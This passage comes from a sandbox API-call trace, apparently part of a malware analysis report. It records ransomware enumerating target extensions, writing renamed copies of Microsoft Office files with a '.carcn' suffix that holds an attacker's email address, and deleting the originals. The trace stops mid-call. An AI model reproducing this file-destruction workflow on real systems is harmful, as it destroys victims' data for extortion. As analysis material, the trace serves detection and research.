Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0281.618] lstrlenW (lpString=".dbf") returned 4 [0281.618] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0281.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0281.618] lstrlenW (lpString=".1cd") returned 4 [0281.618] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0281.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0281.618] lstrlenW (lpString=".jpg") returned 4 [0281.618] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0281.619] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=994589) returned 1 [0281.620] CloseHandle (hObject=0x370) returned 1 [0281.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 0x220 [0281.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0281.620] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.621] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0281.623] GetLastError () returned 0x0 [0281.623] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0xf2d1d, lpOverlapped=0x0) returned 1 [0281.851] WriteFile (in: hFile=0x4a8, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xf2d20, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf2d20, lpOverlapped=0x0) returned 1 [0282.229] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0282.229] WriteFile (in: hFile=0x4a8, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10c, lpOverlapped=0x0) returned 1 [0282.230] SetEndOfFile (hFile=0x4a8) returned 1 [0282.230] CloseHandle (hObject=0x4a8) returned 1 [0282.230] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.230] SetEndOfFile (hFile=0x370) returned 1 [0283.061] CloseHandle (hObject=0x370) returned 1 [0283.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 1 [0283.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0283.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0283.065] lstrlenW (lpString=".doc") returned 4 [0283.065] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0283.065] lstrlenW (lpString=".docx") returned 5 [0283.065] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0283.065] lstrlenW (lpString=".pdf") returned 4 [0283.065] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0283.065] lstrlenW (lpString=".xls") returned 4 [0283.065] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0283.065] lstrlenW (lpString=".xlsx") returned 5 [0283.065] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0283.065] lstrlenW (lpString=".ppt") returned 4 [0283.065] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0283.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0283.065] lstrlenW (lpString=".zip") returned 4 [0283.065] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0283.065] lstrlenW (lpString=".rar") returned 4 [0283.065] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0283.065] lstrlenW (lpString=".bz2") returned 4 [0283.065] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0283.065] lstrlenW (lpString=".7z") returned 3 [0283.065] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0283.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0283.065] lstrlenW (lpString=".dbf") returned 4 [0283.066] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0283.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0283.066] lstrlenW (lpString=".1cd") returned 4 [0283.066] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0283.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0283.066] lstrlenW (lpString=".jpg") returned 4 [0283.066] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0283.402] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.402] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0283.404] GetLastError () returned 0x0 [0283.404] ReadFile (in: hFile=0x41c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x4ddc, lpOverlapped=0x0) returned 1 [0283.415] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x4de0, lpOverlapped=0x0) returned 1 [0283.416] ReadFile (in: hFile=0x41c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0283.416] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x110, lpOverlapped=0x0) returned 1 [0283.416] SetEndOfFile (hFile=0x43c) returned 1 [0283.416] CloseHandle (hObject=0x43c) returned 1 [0283.417] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.417] SetEndOfFile (hFile=0x41c) returned 1 [0283.420] CloseHandle (hObject=0x41c) returned 1 [0283.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0283.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0283.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0283.422] lstrlenW (lpString=".doc") returned 4 [0283.422] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0283.422] lstrlenW (lpString=".docx") returned 5 [0283.422] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0283.422] lstrlenW (lpString=".pdf") returned 4 [0283.422] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0283.422] lstrlenW (lpString=".xls") returned 4 [0283.422] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0283.422] lstrlenW (lpString=".xlsx") returned 5 [0283.422] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0283.422] lstrlenW (lpString=".ppt") returned 4 [0283.422] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0283.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0283.422] lstrlenW (lpString=".zip") returned 4 [0283.423] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0283.423] lstrlenW (lpString=".rar") returned 4 [0283.423] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0283.423] lstrlenW (lpString=".bz2") returned 4 [0283.423] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0283.423] lstrlenW (lpString=".7z") returned 3 [0283.423] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0283.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0283.423] lstrlenW (lpString=".dbf") returned 4 [0283.423] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0283.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0283.423] lstrlenW (lpString=".1cd") returned 4 [0283.423] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0283.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0283.423] lstrlenW (lpString=".jpg") returned 4 [0283.423] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0283.446] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=20778) returned 1 [0283.446] CloseHandle (hObject=0x41c) returned 1 [0283.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 0x220 [0283.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0283.447] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.447] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0283.449] GetLastError () returned 0x0 [0283.449] ReadFile (in: hFile=0x41c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x512a, lpOverlapped=0x0) returned 1 [0283.467] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x5130, lpOverlapped=0x0) returned 1 [0283.468] ReadFile (in: hFile=0x41c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0283.468] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x106, lpOverlapped=0x0) returned 1 [0283.469] SetEndOfFile (hFile=0x43c) returned 1 [0283.469] CloseHandle (hObject=0x43c) returned 1 [0283.469] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.469] SetEndOfFile (hFile=0x41c) returned 1 [0283.473] CloseHandle (hObject=0x41c) returned 1 [0283.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 1 [0283.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0283.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0283.475] lstrlenW (lpString=".doc") returned 4 [0283.475] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0283.475] lstrlenW (lpString=".docx") returned 5 [0283.475] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0283.475] lstrlenW (lpString=".pdf") returned 4 [0283.475] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0283.475] lstrlenW (lpString=".xls") returned 4 [0283.475] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0283.475] lstrlenW (lpString=".xlsx") returned 5 [0283.475] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0283.475] lstrlenW (lpString=".ppt") returned 4 [0283.475] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0283.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0283.476] lstrlenW (lpString=".zip") returned 4 [0283.476] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0283.476] lstrlenW (lpString=".rar") returned 4 [0283.476] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0283.476] lstrlenW (lpString=".bz2") returned 4 [0283.476] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0283.476] lstrlenW (lpString=".7z") returned 3 [0283.476] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0283.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0283.476] lstrlenW (lpString=".dbf") returned 4 [0283.476] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0283.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0283.476] lstrlenW (lpString=".1cd") returned 4 [0283.476] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0283.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0283.476] lstrlenW (lpString=".jpg") returned 4 [0283.476] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0283.477] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=19924) returned 1 [0283.477] CloseHandle (hObject=0x41c) returned 1 [0283.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 0x220 [0283.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0283.478] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.478] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0283.479] GetLastError () returned 0x0 [0283.479] ReadFile (in: hFile=0x41c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x4dd4, lpOverlapped=0x0) returned 1 [0283.806] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x4de0, lpOverlapped=0x0) returned 1 [0283.808] ReadFile (in: hFile=0x41c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0283.808] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10c, lpOverlapped=0x0) returned 1 [0283.808] SetEndOfFile (hFile=0x43c) returned 1 [0284.011] CloseHandle (hObject=0x43c) returned 1 [0284.012] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.012] SetEndOfFile (hFile=0x41c) returned 1 [0284.016] CloseHandle (hObject=0x41c) returned 1 [0284.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 1 [0284.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0284.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0284.018] lstrlenW (lpString=".doc") returned 4 [0284.018] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.018] lstrlenW (lpString=".docx") returned 5 [0284.018] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.018] lstrlenW (lpString=".pdf") returned 4 [0284.018] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.018] lstrlenW (lpString=".xls") returned 4 [0284.018] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.018] lstrlenW (lpString=".xlsx") returned 5 [0284.018] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.018] lstrlenW (lpString=".ppt") returned 4 [0284.018] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0284.018] lstrlenW (lpString=".zip") returned 4 [0284.018] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.018] lstrlenW (lpString=".rar") returned 4 [0284.018] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.018] lstrlenW (lpString=".bz2") returned 4 [0284.019] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.019] lstrlenW (lpString=".7z") returned 3 [0284.019] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0284.019] lstrlenW (lpString=".dbf") returned 4 [0284.019] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0284.019] lstrlenW (lpString=".1cd") returned 4 [0284.019] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0284.019] lstrlenW (lpString=".jpg") returned 4 [0284.019] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.020] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11614) returned 1 [0284.020] CloseHandle (hObject=0x41c) returned 1 [0284.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0284.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0284.021] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.021] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0284.023] GetLastError () returned 0x0 [0284.023] ReadFile (in: hFile=0x41c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d5e, lpOverlapped=0x0) returned 1 [0284.066] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0284.068] ReadFile (in: hFile=0x41c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, 